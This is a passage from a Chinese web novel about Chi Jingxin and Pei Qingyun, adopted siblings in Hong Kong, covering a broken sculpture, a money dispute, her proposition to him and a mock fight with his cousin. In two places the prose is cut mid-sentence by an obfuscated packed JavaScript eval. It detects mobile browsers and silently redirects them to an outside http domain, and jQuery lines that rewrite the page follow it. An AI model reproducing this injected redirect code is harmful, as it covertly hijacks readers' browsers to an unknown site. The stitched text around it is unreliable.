池镜心靠在椅背上,伸了个懒腰:“那正好,我本来也不喜欢吃饭。”
裴清昀:“……所以你矮。你现在好好吃饭,兴许还能长个几厘米。”
“我还矮啊?”池镜心有些诧异,“我净身高可是有167!”
这个身高在北方或许不够看,但在南方算不错的身高了。
裴清昀:“我印象中你母亲身高在一米七以上,你父亲身高在一米八以上。有这么好的遗传条件,你应该轻轻松松长到一米七以上的,可现在你只有167,就是因为你从小就不好好吃饭。以后再不好好吃饭,我就让温迪端着碗追着你喂,看你好不好意思。”
池镜心:“……”
裴清昀的记忆没错,池若颐身高175,程文睿身高183,都是那个年代少见的高个子。
这对夫妻不仅身高出众,相貌也生得好,学历也很不错,工作体面又高薪,实在是一对令人艳羡的中产夫妻……唯一的美中不足,大概就是生了池镜心这么一个叉烧。
她既没遗传到父母的身高,又远不如父母学业事业优秀,只有相貌结合了父母的优点,长了一张纯净甜美的天使面孔。
无论男女老少都会被她的长相欺骗到,以为她是什么单纯可爱的小女孩。其实她思想污糟,五行缺德。
说到“端着碗追着你喂”,池镜心忽然想起小时候,裴清昀确实有端着碗追着给她喂饭,为了让她多吃一口,不惜学狗叫哄她开心。
她笑嘻嘻地看着裴清昀,一脸的不怀好意:“我还是更喜欢你给我喂饭,像小时候那样,你学一声狗叫,我就多吃一口,好不好?”
裴清昀耐心耗尽,板着脸给她下命令:“滚回房间去,把你的学习资料抱出来,立刻开始背单词。”
池镜心起身回房间了。裴清昀以为她去拿学习资料了,结果她拿着一根菲律宾藤棍出来了。
他有些恼火:“让你拿学习资料,你拿这个做什么?”
池镜心:“时间还早,我要先锻炼一下身体。”
池镜心学过多年格斗,在这方面涉猎广泛,什么拳击、桑搏、巴西柔术、泰拳、空手道……她都学过一段时间。近两年她对菲律宾短棍术比较感兴趣,没事就拿着藤棍比划两下。
她穿着比格犬连体睡衣,在一楼宽敞的客厅里挥舞着藤棍,嘴里发出兴奋的叫喊声:“呀哒!呼哈!武术家阿心来也!看招!”
裴清昀:“……”
在他的视角里,此时的池镜心真的很像一只精力过剩上蹿下跳的比格。
他没有训斥她,只是面无表情地坐在餐桌旁看着,心想让她发泄一会儿精力也好,不然她很难老老实实坐着温书。
藤棍挥来挥去,一招不慎,竟打到了墙边古董柜上放着的一个陶瓷雕塑。只听啪的一声,雕塑碎了个稀里哗啦。
“啊!”池镜心惊叫一声,呆愣在原地,浑身僵硬,一动不动。
裴清昀眉心一跳,立刻起身过去查看情况。
“你没事吧?受伤了吗?”他拉着池镜心的胳膊,上下打量她的身体,确定没看到有什么伤口,他才略松了一口气。
池镜心就像受惊的小动物,完全僵住了。
裴清昀拉着她往旁边走了几步,远离那堆碎瓷片,然后叫工人过来收拾。
池镜心终于回过神来,她小心翼翼地去看裴清昀的脸色,用极小极忐忑的声音问:“那个……瓷器……贵吗?”
裴清昀简直无语。她居然操心这个,只要这活祖宗没受伤,他都谢天谢地了,难道还会要她赔不成?
不过……难得看到她跟个闯了大祸的小孩一样,一脸忐忑不安的小表情,还挺有意思的……不如顺势吓唬她玩玩,杀杀她的威风,省的她整天耀武扬威上房揭瓦。
他绷着脸,语气严肃:“很贵。”
池镜心心头一沉:“有多贵?”
裴清昀略一思索,好似在回忆价格:“两千多万吧。”
池镜心:“……”
她表情呆滞,整个人好像石化了。
裴清昀心里暗笑,表面上却不动声色:“现在你欠我两千多万,要么赔钱,要么从今往后你乖乖夹起尾巴做人。我让你往东,你不能往西。
我让你背单词,你就立马坐下来,老老实实给我把单词背完。明年你要是能考上港大,这笔债就一笔勾销,否则的话……”
他话还没说完,池镜心就怒气冲冲地朝他吼:“你这是敲诈!这种现当代雕塑,怎么可能卖到两千多万啊!我也是有常识的好吧!我告诉你,我契爷可是警务处处长!你敢敲诈勒索我,我就让我契爷抓你!”
裴清昀缓缓露出一个高高在上的笑容:“你个细路女懂什么。现当代雕塑怎么就不能卖到两千多万了?前些年贾科梅蒂的雕塑作品还拍出了超过一亿美元的天价呢。
再说警务处处长是你契爷又如何?我还是警务处的大金主呢。每年我都给警务处捐赠大量资金和物资,整个警务处上上下下都对我感恩戴德。
你大可以试试,看你契爷敢不敢为了你一个小小的契女,得罪我这个大金主。”
池镜心悲愤地咬住了下唇,眼中的怒火仿佛要在裴清昀那张欠揍的脸上烫出一个洞。
此刻裴清昀在她眼里,就是一个一手遮天、恶贯满盈、冷血无情的邪恶资本家。她握紧了手中的藤棍,恨不得给他来一棍子。
“行了,别用这种眼神看着我。闯祸的是你,损失两千多万的是我,你还比我火气更旺,有没有天理?”
裴清昀拎着她的后衣领,将她往卧室带:“走,去拿你的学习资料。今天早点完成学习任务,我就暂时不追究此事了。”
池镜心被他监督着背了一小时单词,终于获准休息十分钟。
她看着墙边的古董柜,决心要施展自己身为侦探事务所调查员的本事,查出那件雕塑的真实价格,省的裴清昀一直拿这事威胁她。
她池镜心一个铁骨铮铮的警察之后,岂能被这等宵小拿捏!
古董柜上本来放了两个陶瓷雕塑,被池镜心打碎一个后,就只剩下了另一个。两个雕塑的艺术风格相似,很有可能是同一个艺术家的作品。
池镜心把剩下那个雕塑拿起来,翻来覆去查看,找到了一个签名。她在网上不厌其烦地搜索,几经折腾,终于找到了被她打碎的那个雕塑的价格——确实是两千多万,不过是韩元。
换算成港币,也就十二万左右而已。
“裴清昀!你个大骗子!”她怒气冲冲地走到正坐在餐桌旁办公的裴清昀面前,将手机界面怼到他脸上。
“什么破东西也敢说值两千多万!满打满算也就十二万港币而已!还敢敲诈你姑奶奶,我可是……”
她本想说“我可是港岛超级名侦探”,但这话一出口就暴露她的真实职业了,她立刻打住了。
“可是什么?”裴清昀目光平淡地扫了一眼她的手机,“我也没骗你啊,那个雕塑确实是我去韩国出差的时候,花了两千多万买来的。你又没问我是什么货币。
再说十二万港币也不是什么小数目。你在茶餐厅做兼职,怎么也要不吃不喝好几个月才能攒够这个数吧?不想赔的话就对我客气点,老老实实听我的话。”
十二万确实不是小数目。但要池镜心在他面前伏低做小,当个乖女,她可办不到!
她一咬牙,直接给他转了十二万过去。
“这十二万我赔你了!以后对我客气点!我可不欠你什么!”
她下颌高高抬起,脊背挺得笔直,只觉得自己真是一身傲骨,刚直不屈,不愧对她母亲的一世英名。
裴清昀吓了一跳:“你哪来这么多钱?”
“我手里有八百多万现金呢。”
池镜心直接说了实话,反正裴清昀不会惦记她手里这点钱,他随手送她一块表都好几十万了。
裴清昀还是很诧异:“那你还一天到晚哭穷?”
“不是哭穷,我是真穷好不好?这八百多万是我妈咪留给我的。其中有一部分是我公公婆婆毕生的积蓄,有一部分是我妈咪生前的积蓄,还有一部分……”
池镜心眼神一黯,低声说,“是我妈咪的抚恤金。我妈咪生前就感觉她的工作太危险,所以早早立了遗嘱,要把我公公婆婆在深水埗的那套房,以及她所有的积蓄都留给我。
这份遗嘱也是征得我爸同意了的,所以我妈咪去世后,这些资产就不出意外到我手里了。我不想浪费掉我妈咪留给我的资产,就一直没动这些钱。我平时花的都是自己的薪水,当然就只能过得紧巴巴了。”
裴清昀沉默了。他早该想到的,他契妈那么心思缜密的一个人,又深爱自己唯一的女儿,怎么可能不为阿心做打算。阿心真是命好,有这么好的母亲,不知道是她几辈子修来的福气。
人与人之间生来不公平。不是优秀的小孩就能得到父母的爱。他从小早慧懂事,多次跳级,名校毕业,还不是被他亲妈给抛弃了。阿心却什么都不需要做,学业一塌糊涂,也能得到她母亲全部的爱。
他低着头不说话,拿起手机给池镜心转了一笔钱过去。
池镜心收到到账提醒后,吓得人都结巴了:“你你你!你……你给我转了一百万?!你疯啦?刚不是还让我赔钱吗?”
裴清昀放下手机,神色淡漠:“一码归一码。你赔我的钱,我收下了。这一百万,是给你的奖励。”
“奖励我什么?”池镜心一脸茫然。
“奖励你,勇于承担错误,说赔钱就赔钱。以及你人还算懂事,知道珍惜你母亲的遗产,不随便挥霍。以后缺钱了就找我,别动你母亲的遗产。”
其实裴清昀从小就对池镜心很大方,给她花再多钱都无所谓。
重逢以来他变得有些抠门,一直没敢给池镜心转太多钱,买礼物也挑的便宜货,只是因为之前他一直以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036727|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为池镜心学坏了,怕她手里有了余钱更加放纵自己干坏事。
现在他已经知道了阿心没有学坏,也懂得珍惜母亲的遗产,没有随意挥霍,他便可以放心大胆地给她打钱了。
其实过去的八年里,他虽然没有联系过池镜心,但也从来没有忘记她的存在。
他本来打算等她大学毕业了再联系她,问问她打算在哪个城市工作,他会出钱给她在当地置办几套房产,买几辆她喜欢的车。
等到池镜心谈婚论嫁的时候,他会再联系她一次,给她准备一份丰厚的嫁妆。
等她有孩子了,他还会给她的小孩准备一份教育基金。
大概也就这样了。他只打算在她重要的人生节点出现,尽一尽兄长的责任,平时都尽量和她保持距离。
毕竟他俩是没有血缘关系的兄妹,长大了就要学会避嫌,不然她的未来丈夫会不高兴。
如今池镜心住到他家里,和他朝夕相处,是他万万没料到的意外发展。
想到这里,他抬眼看了池镜心一眼,脑子里突然冒出一个奇怪的想法:她要是能跟他一样,这辈子都保持独身就好了。那他俩就不用避嫌了。
从小就亲密无间的兄妹,凭什么要因为一个外人的到来而避嫌呢?真是不公平。
突然天降一百万横财,池镜心全然忘了上一刻她还把裴清昀当成十恶不赦的冷血资本家。现在裴清昀在她眼里,就是最可敬的财神爷,最亲爱的哥哥!
她激动得一把抱住裴清昀:“哥!你是我唯一的哥!以后你让我干什么我就干什么,你让我往东,我绝不往西!”
裴清昀轻笑一声,将她推开:“你就是吃软不吃硬。这么点钱有什么好激动的?明年你要是考上港大,我可以把渣甸山这栋独立屋给你。”
他这番话说得云淡风轻,池镜心却再度吓傻了。
裴清昀在渣甸山的这套住所,其实面积不大,跟裴家位于深水湾的主宅没法比,但起码也要值好几个亿了。几个亿啊……就……就给她了?
“你是说……把这套房子的居住权给我?”池镜心小心翼翼地问。
“所有权也给你。”
池镜心倒吸一口凉气,思考了片刻,果断拒绝:“我不要这套房子。”
“为什么?”裴清昀有些纳罕,“你不是很喜欢这套房子吗?”
他还记得池镜心搬过来的第一天,就对这套房子赞不绝口。他知道她不会随便给出虚假的恭维,她是真心喜欢这套房子。既然她喜欢,那就给她好了,反正他本来就计划将来要给她置办些房产。
“喜欢归喜欢,要持有这种级别的房子是很麻烦的,每年都要交很多差饷,还要请一大堆工人来养护这套房子。我哪出得起这个钱啊!这么大的室内面积,光是冷气费就能让我破产!”
裴清昀哑然失笑:“你能不能有点志气?你大学毕业后找份高薪工作,不就养得起这套房子了吗?”
池镜心把头摇得像拨浪鼓:“这种房子一年差饷起码几十万!我做什么工作能挣这么多钱啊?卖白粉还是走私军火啊?”
“你闭嘴!”
裴清昀叹了口气:“我给你交差饷,我帮你请工人,甚至水电费我都可以给你报销,行了吧?”
池镜心咬着手指甲,心想:他怎么这么慷慨?虽然从小他就对她很大方,但送一套几亿十几亿的房子还是太超过了……既然他这么慷慨,那是不是无论她想要什么,他都会满足她?
一想到这里,她内心深处的某种欲望开始蠢蠢欲动。
“在想什么呢?”裴清昀问。
池镜心看向他,突然有些紧张:“是不是我想要什么?你都会给我?”
“你想要什么?”裴清昀挑了挑眉,“之前不是让你写一个愿望清单吗?你还没给我呢。你想要什么,都写上去吧。”
池镜心拿出记事本和中性笔,指尖微微轻颤,在记事本上写下了几个字。
她将那一页纸撕下来,对折,双手递给了裴清昀:“我写好了,你过目吧。”
裴清昀伸手去接,她却忽然把纸往后一撤。
池镜心:“先说好啊哥,不管这个东西你能不能给,都不许发火哦。”
裴清昀嗯了一声,一脸狐疑地接过那张纸。
他有什么不能给的?这只小化骨龙想要天上的星星,他都可以买一堆来以她的名字命名。
他钱太多,亲人又太少,不给她花钱还能给谁花呢?只要不是违背法律和公序良俗的愿望,他都可以满足她。
他展开那张纸,看清楚纸上写的那几个字后,他呼吸一滞,脑子好像被雷劈了,足足懵了好几秒。
“什么意思?”他用冰冷的、质问的眼神看向池镜心,将那张纸展示给她看。
纸上只写了三个字,是他的名字——“裴清昀”。
池镜心这辈子口嗨无数,无论多炸裂的话都张口就来。但在裴清昀看来,她过去说过的每一句话,都没有今天这句来得炸裂。
她眼睛直直地盯着裴清昀,眼底燃着一小簇欲望的小火苗。
裴清昀只看到她那漂亮的唇开开合合,轻声说了一句:“哥,我想睡你。”
17. 打架
裴清昀很早就发现,池镜心的大脑就是一个黑洞,正常人根本无法窥见她大脑里都装了些什么东西。
就算他从她出生第一天起就认识她了,迄今二十载,他也无法猜到她在想些什么,更无法预判她的行为。
每当他以为,她应该作到头了吧?不可能更作了吧?池镜心都会用实际行动告诉他:她还能作得更上一层楼。
在作死的赛道上,她勇攀高峰,超越极限。
此时,迎着池镜心那灼热的视线,他强行忍住把她脑子挖出来检查一番的冲动,将那张愿望清单缓缓撕掉,然后叠在一起,再撕,直至撕了个粉碎。
“以后别开这种玩笑了。”他嗓音低沉,像是雷雨来临前的低气压。
“这不是开玩笑。”池镜心一脸认真地解释。
他一字一顿,每个字都暗含着十足的警告意味:“我说是开玩笑,就是开玩笑。”
池镜心愣了一瞬,继而笑了起来:“放心吧,我不想跟你谈恋爱,我就是单纯地想睡你。等我玩腻了,咱俩就结束。
你要是怕影响你的名誉,怕别人说你连自己的妹妹都不放过,那这段关系从头到尾都可以保密,我什么都不会往外说的。”
裴清昀:“……”
她考虑得还挺周全……看来这孽障筹谋已久啊……
他每天费心费力,给这孽障又当哥又当爹又当妈又当家庭教师又当仆人又当提款机,结果她不知感恩就罢了,居然一直在筹谋怎么把他拐上床……
他今天不收拾她一顿,他就对不起契妈的在天之灵!
裴清昀一言不发,拿起先前池镜心随手放在餐桌上的菲律宾藤棍,绕过餐桌走向她。
池镜心脑中警铃大作,赶紧往边上躲了躲:“你干嘛?!说好了不发火的!”
裴清昀缓缓露出一个阴森可怖的笑容。他本就是阴郁俊美的混血长相,在这个笑容的加持下,活像欧洲古堡里正准备吸食人血的吸血鬼,或者是cult片里正准备给人开膛破肚的变态杀人犯。
他笑得阴森,语气却是温文尔雅:“我没发火啊。你不是想睡我吗?没想到我们阿心这么变态,连自己的哥哥都想下手。”
他一步步走近池镜心,右手自然下垂,手中的藤棍一下一下轻敲着腿侧:“恰好你哥我也是个变态。我喜欢先跟床伴玩一些字母小游戏,再发生关系。”
池镜心脸色煞白,像个受惊的兔子般一下子蹿了出去:“你骗人!你分明是想假装玩字母游戏,然后把我往死里打!”
裴清昀一边追她,一边吩咐工人:“把大门关严实了,别让她跑出去了!”
池镜心满院子乱窜,但她到底腿长不如裴清昀,对这套房子布局的熟悉程度也不如裴清昀,很快就被逮了个正着。
裴清昀从小也是学过格斗的,力气大得可怕。他单手锁住她两只手,另一只手拿着藤棍,用力朝她小腿肚挥去。
池镜心吓得大叫一声,眼睛都闭上了,结果小腿肚迟迟没迎来重击。
过了半晌,裴清昀用藤棍轻轻拍了拍她的脸颊,在她耳边低声威胁:“再觊觎你哥,我就真收拾你。”
池镜心:“……”
他嗓音低哑,如大提琴优美华丽的琴音流淌在她耳畔。她耳朵立刻就麻了,酥麻感迅速扩散至半边身体。
说来怪羞耻的,她哥这样威胁她,她居然觉得他还挺性感的……
更想睡他了……
意识到这一点后,她又羞又恨,气得直磨牙。该死的骚狐狸精,既然不想被她睡,又成天勾引她做什么?吊着她好玩吗?!
裴清昀将她拎回餐厅,按在椅子上温书。一场闹剧就这么匆匆结束了。
中午吃完午饭,裴清昀说可以午休一小时,一小时后再继续温书。说完他就回楼上主卧休息去了。
池镜心不想睡午觉,一直坐在沙发上玩手游。
这个游戏可以捏脸。她把角色名设定为“裴清昀”,然后把捏脸的各种数值拉到最大,最终捏出一张无比诡异可怕的大丑脸。
她让游戏里的“裴清昀”进入副本,顶着一张大丑脸傻站着被boss揍来揍去。她哼笑了一声,终于稍稍解气了。
就在这时,高跟鞋敲击地板的清脆响声从身后传来。池镜心回头一看,一个打扮得十分热辣时髦的年轻女孩走了进来。
这个女孩子是亚裔长相,但妆容完全是欧美风,皮肤也是国外最流行的那种蜜糖色,十根手指都做了可以挖人眼珠的超长美甲。
年轻女孩看到池镜心,明显愣了一下,眼神玩味地打量了她数秒,然后款款走到池镜心对面的沙发旁。
她将手中价值百万的鳄鱼皮Kellydoll随手扔到沙发上,以一种非常放松的姿势在沙发上坐了下来。
“你是谁?”
池镜心和这个陌生女孩同时发问。
陌生女孩笑了笑,神色轻慢:“我是裴清昀的正牌女友,你是哪里来的小妖精,在我男朋友家做什么?”
池镜心上午刚被裴清昀拒绝并教训了一通,心情一直不太好。这个陌生女孩算是撞她枪口上了。她一开口就火药味十足。
池镜心抬了抬下巴,语气比她更傲慢:“我是裴清昀的妈。你要想进裴家的门,得乖乖跪下给我敬茶。”
陌生女孩轻慢的表情一下子就绷不住了,她又生气又想笑,强撑着用傲慢的语气继续问:“喂,你是不是认出我来了?”
池镜心刚开始没认出来,听到她说话时的嗓音才反应过来,这人是裴清昀的表妹,裴清嘉。
有一天吃晚饭时,她支着平板,边吃饭边看一部欧美悬疑片。
看着看着,她忍不住跟裴清昀吐槽:“这个亚裔演员是谁啊?演技烂得跟其他人都不是一个画风的,她怎么得到这个角色的?”
裴清昀看了一眼平板,说:“这是我表妹,靠金钱的力量勇闯好莱坞。这部片子她投了不少钱,不然导演脑子被驴踢了才会用她。”
电影里裴清嘉的妆造跟她今天的打扮很不一样,因此池镜心没有第一时间认出她来。但她的嗓音没变,池镜心一听她说话就想起来了,她就是裴清昀那个勇闯好莱坞的表妹。
此时面对裴清嘉,池镜心坦诚地点了点头:“认出来了。”
裴清嘉又问:“怎么认出来的?是阿昀跟你介绍过我,还是你看过我演的电影?”
池镜心:“看过你演的电影。”
裴清嘉眼睛一亮:“你看过我演的哪些作品?是不是被我强大的演技和魅力给征服了?想要我的签名吗?”
池镜心面无表情地吐槽:“你演技很烂。阿昀说导演脑子被驴踢了才会用你。”
“你胡说八道什么!”裴清嘉立刻火冒三丈,“你到底是谁啊?凭什么说我演技烂?”
池镜心笑得漫不经心:“不是说了嘛,我是裴清昀的妈。”
裴清嘉气得站了起来,用手指着她放狠话:“你个小兔崽子!别以为我不敢收拾你。就算你是阿昀最宠爱的小女友,我也能把你揍得满地找牙!”
池镜心冷笑了一声。怎么今天人人都想收拾她?她是什么很废物的存在吗?谁都能揍她一顿?
她一脸倨傲地看向裴清嘉,发出挑衅:“有种就来啊。”
裴清昀在主卧小憩了一会儿,隐约听到楼下有一些奇怪的动静。
他来到楼梯口查看情况,看到了令他震惊的一幕。
一楼客厅与餐厅之间的那块空地上,池镜心用一招标准的十字固,将裴清嘉给死死锁在了地面上。
裴清嘉一脸不服,试图去咬池镜心的腿,池镜心冷声警告她:“敢咬我,我就把你美甲掀了。”
裴清嘉崩溃哭嚎,嚎到一半,她瞥见楼梯上的裴清昀,立刻告状:“哥!你养的金丝雀欺负我!”
裴清昀:“……她是我妹妹。”
裴清嘉一脸的不可置信:“她是你妹妹?!那我是谁?!”
裴清昀:“……”
爱谁谁,这两个妹妹,他一个都不想要了。
如果能把这两个烦人精装进麻袋里,打包扔到外太空,他会很高兴的。
可惜扔不了……兄弟姐妹这种存在,是一生一世的折磨,从出生折磨到死。
他沉着脸,无声散发威压:“不许再打了。阿心,你再敢动手,从今天起你每天的学习任务翻倍。嘉嘉,你再敢动手,从今天起你别想从我这拿走一分钱。”
打蛇打七寸,知妹莫若哥。他一句话下来,池镜心立刻解除了十字固,和裴清嘉各自站了起来。
两人都不敢再动手了,但还可以动嘴嘛。
裴清嘉一手指着池镜心,小嘴叭叭地告状:“哥!她说她是你妈!”
池镜心也不甘落后:“她说她是你女朋友!”
裴清昀:“……你俩都是神经病。”
裴清嘉本来还不服气,但她突然想起来今天来这里的目的,立刻换上甜美乖巧的笑容,笑眯眯地去拉裴清昀的衣袖:“哥,我今天找你有正事。走走走,去你书房里说。”
裴清嘉和裴清昀都上楼了,留下池镜心一个人呆在一楼。
她看着那对表兄妹的背影消失在电梯口,心情更差了。
她搬过来的第一天,裴清昀就给她立过规矩,不许她到楼上去。
每次她经过楼梯或者电梯,家里的工人都会紧张兮兮地盯着她,防贼似的生怕她上楼。
肯定是裴清昀吩咐过工人们,要他们看着她,不许她悄悄溜上去。
她的自尊心受到了伤害。于是每次经过电梯或者楼梯,她都目不斜视地快步走过去,满脸写着:谁稀罕上你这破楼!
可是今天裴清嘉就很自然而然地上楼了。裴清昀根本没给他表妹立过这种规矩,这规矩就是针对她一个人的。
她本就不爽的心情更加不爽了。
凭什么只防我一个人!区别对待什么的最讨厌了!
没过一会儿,裴清嘉春风满面地下了楼,嘴里还哼着最近流行的欧美歌曲。
她刚找裴清昀要了一大笔钱,心情甚好。因为不愿意进家族企业做事,她和她亲哥裴清融都只靠信托生活。虽然每年能领取上亿生活费,但她大手大脚惯了,勇闯好莱坞又太烧钱,只能时不时来裴清昀这里打秋风了。
她拿上之前扔在沙发上的鳄鱼皮Kellydoll,转身看到池镜心面无表情地瘫在对面沙发上,她顺手揉了揉池镜心的脑袋。
裴清嘉:“姐走了,下回再找你切磋。”
池镜心一脸不爽:“挨揍还没挨够呢?”
裴清嘉这会儿心情好,没跟她计较,踩着高跟鞋噔噔噔离开了屋子,开着她那辆粉色兰博基尼一溜烟消失了。
裴清昀也下了楼,把池镜心叫去餐厅温书。两人在餐桌旁坐了下来。
这一下午,池镜心都垮着一张脸,好像谁欠了她几百万。
裴清昀自然也察觉到了她的情绪,他轻声道:“刚刚我问过嘉嘉了,是她先乱说话招惹你,我已经批评过她了。”
池镜心并不买账,依然垮着脸:“我不是因为这个不开心。”
她并没有真生裴清嘉的气,裴清嘉也没有真生她的气。她俩是打了一架,但其实是打着玩的,双方都没有下死手。
开打前裴清嘉甚至还嘱咐了一句:“姐还要回好莱坞拍戏,不许弄伤我的脸!”
池镜心就真没碰她的脸。双方武德都挺好,下手有分寸。
裴清昀问:“那你是因为什么不开心?”
池镜心放下手中的笔,看向裴清昀的眼神委屈又愤恨:“你表妹上了楼!”
裴清昀脑袋上冒出一个大大的问号。
这都哪跟哪啊?上个楼又怎么了?
池镜心看他一脸不知道自己错在哪的表情,又吼了一句:“你从来都不允许我上楼!”
裴清昀恍然大悟。
他没忍住轻笑了一声,解释道:“还不是因为你太混账了。再说咱俩没有血缘关系,得避嫌啊。嘉嘉跟我是有血缘关系的,我不用担心她暗地里觊觎我,她当然可以上楼。”
池镜心闷闷不乐地低下了头。重逢后,她留给裴清昀的印象确实很混账。在裴清昀眼里,她又当啤酒妹,又陪糟老头子吃饭,又邀请古惑仔开银趴……简直就是一个十足的小太妹。
更何况……她也确实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036728|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觊觎他,想把他拐上床。
行吧行吧,是她有问题,她问题大得很。但是……区别对待什么的真的很讨厌啊!
裴清昀忽然叹了一口气。
池镜心以为他这是不耐烦了,又要训斥她。
结果裴清昀只是站起了身,走过来拉她的胳膊:“走吧,我带你上楼逛逛。”
池镜心被他拉上了楼,看着他把每一间房打开,依次给她介绍。
“这是我的卧室,这是书房,这是健身房,你以后想练习菲律宾短棍可以来这个房间,就不会打碎东西了……”
池镜心眼睛一亮:“那我以后都可以上楼啦?”
裴清昀嗯了一声,没忍住损她:“你脾气多大啊,再不让你上来,你脸都快垮到地板上了。”
池镜心笑嘻嘻地锤了他一拳:“你早这么识相就好了。”
两人把二楼三楼都逛完了,才回到一楼餐厅。
吃晚饭的时候,池镜心突然问:“你会不会觉得我很作?为了一点小事就给你脸色看。”
“不会。”裴清昀回答得很干脆,“小孩子都不喜欢被区别对待,我也经历过这种情况,所以我能理解。”
池镜心吃了一惊:“你也被区别对待过?谁敢这样对你?”
在她看来,自己这个便宜哥哥从小就是正儿八经的豪门贵公子,长大后更是年纪轻轻就大权在握,谁敢对他搞区别对待?吃了熊心豹子胆啦?
远的不说,就昨晚那个周伯凯,上一秒还气势汹汹地欺负她,下一秒见到裴清昀,恨不得跪地上磕一个,脸色变得不要太快。
裴清昀:“我公公婆婆会区别对待。”
池镜心懵了:“他们为什么要这么对你?你这么有出息,长得又好看。”
“我六岁那年,我妈不想养我了,就直接把我扔到了裴家主宅。她事先并未取得我公公婆婆的同意,老俩口对她这种先斩后奏的做法非常生气,就迁怒到了我身上。
而且,我公公婆婆是思想非常传统的人,不喜欢混血儿。我小的时候他们都管我叫小鬼佬,不愿意承认我是裴家人。
他俩对阿融和嘉嘉就不这样。有一次我和嘉嘉在院子里各玩各的,她自己摔了一跤,我公公婆婆就冲过来骂我没照顾好妹妹。
还有一次,阿融把我公公收藏的一副国际象棋偷拿了出来,让我陪他下棋。那副国际象棋镶满了珠宝,非常珍贵。我俩下棋下到一半被我公公发现了,他把我骂了个狗血淋头。”
池镜心义愤填膺:“可是那副棋是阿融拿出来的!”
裴清昀:“对啊。阿融自己也承认了,我事先也不知道那副棋是他偷拿出来的。但我公公就是只骂我一个,说是我把阿融给带坏了。”
池镜心气得直拍桌子:“这老头怎么这样!难怪你小时候一直挺沉闷的,我还以为你在装酷。原来你在裴家过得并不开心。”
裴清昀笑了笑:“其实也还好。后来契妈察觉到我在裴家的处境,她去找我公公婆婆谈了一次话。之后我公公婆婆就意识到了自己的问题,不再搞区别对待了……至少明面上做到了一视同仁。”
池镜心大惊:“我妈咪这么厉害啊?!居然敢找你公公婆婆谈话!而且只谈了一次就成功让老人家改变了态度!”
裴清昀的公公当年是名镇香江的大人物,翻手为云覆手为雨,要是言语间不小心得罪了他,那就是无妄之灾。再加上人老了本来就固执,要让他们听劝可不是一件容易的事。
池若颐女士的这一行为不只是勇气可嘉,更是智慧过人。
裴清昀眼中透出几分敬佩之意:“契妈为人公允正直,走到哪里都受人尊敬,就连我公公婆婆都敬她三分。再加上契妈本科是学教育学的,聊到儿童教育问题有理有据,言之有物,自然就说服了我公公婆婆。”
池镜心点了点头,心想难怪裴清昀对她妈咪的感情这么深。她妈咪确实对这个契仔很不错,都敢冒着得罪大人物的风险去尝试改善他的处境。
一时间两人都没有说话,都在心里默默怀念他俩共同的母亲。
裴清昀看着阿心那张跟池若颐有五六分相似的脸,心中涌起一种柔软又苦涩的情绪。
曾经他盼着自己长大后可以好好孝顺契妈,但上天没有给他这个机会。那他这辈子就好好照顾契妈唯一的女儿吧。
就算她是个混账,白眼狼,顶心衫,甚至还是个企图把他弄上床的变态……没关系,他都可以包容。
第二天是星期一,池镜心没去事务所。在周末事务所已经帮那个女生找到了宠物猫,一时间没有别的委托了,只有骆家那个婚前调查还需要池镜心跟进。
这个事务所就这点好,没活的时候想干嘛就干嘛,不需要去办公室打卡。
裴清昀得知她今天不需要返工,便提出让她跟着他去公司,在他办公室里温书。
池镜心虽然很烦裴清昀把自己盯得这么紧,但她对裴清昀工作的地方莫名有些好奇,便同意了。
两人上了车,都坐在迈巴赫后座上。池镜心吃完早饭有些晕碳,歪在座椅里休息。
裴清昀是个工作狂,在车上也不忘拿着手机看工作邮件。看着看着,他突然想起来今天还没擦拭手机屏幕。他有轻微洁癖,每天都要用酒精棉片擦拭手机屏幕一两次。
他从公文包里取出一片酒精棉片,想了想,又多取出来一片,扔给了池镜心。
他本想着给阿心培养一下好的卫生习惯,结果池镜心一看到那片酒精棉片,立刻一脸惊恐地喊叫起来:“你干什么!”
裴清昀:“……给你一片酒精棉片擦擦手机屏幕。”
“……”池镜心松了一口气,“吓我一跳。我以为你扔了个安全套给我。我还在想你怎么这么快就想通了,还在车上就兽性大发……我还以为你昨天是在装清高呢。”
裴清昀:“……”
装你大爷。
昨天晚餐时刻的温情荡然无存。包容她?包容不了一点。他迟早有一天被这杀千刀的孽障给气死。
车厢里一时静得可怕。
司机满头是汗,都在想要不直接把车开进警署算了,车里弥漫的杀意实在令人窒息。
18. 计谋
到达鼎钧集团总部后,池镜心背着书包,跟在裴清昀身后,随他乘专属电梯去顶层办公室。
一路上她都在好奇地东张西望,连电梯内壁的浅色皮革都要伸手摸摸。
裴清昀见她对这里如此感兴趣,便问了一句:“大学毕业后想来这里工作吗?”
“不想。”池镜心果断摇头,“坐办公室的工作都好无聊。”
“你在茶餐厅送餐,拖地,难道就不无聊吗?”
“当然不无聊啦,外出送餐可以呼吸新鲜空气,顺便看看风景什么的。”
其实她从没在茶餐厅工作过,只是为了搪塞裴清昀信口胡诌而已。
裴清昀冷笑了一声,没再言语。
池镜心自己心虚,偷偷斜觑他的脸色。有一瞬间,她产生了一丝怀疑:自己的真实职业是不是暴露了?
不过裴清昀一直脸色如常,她这一丝怀疑转瞬即逝。
来到顶层办公室,池镜心直接傻掉了。
“你一个人在这么大的空间里办公?!不怕闹鬼吗?”
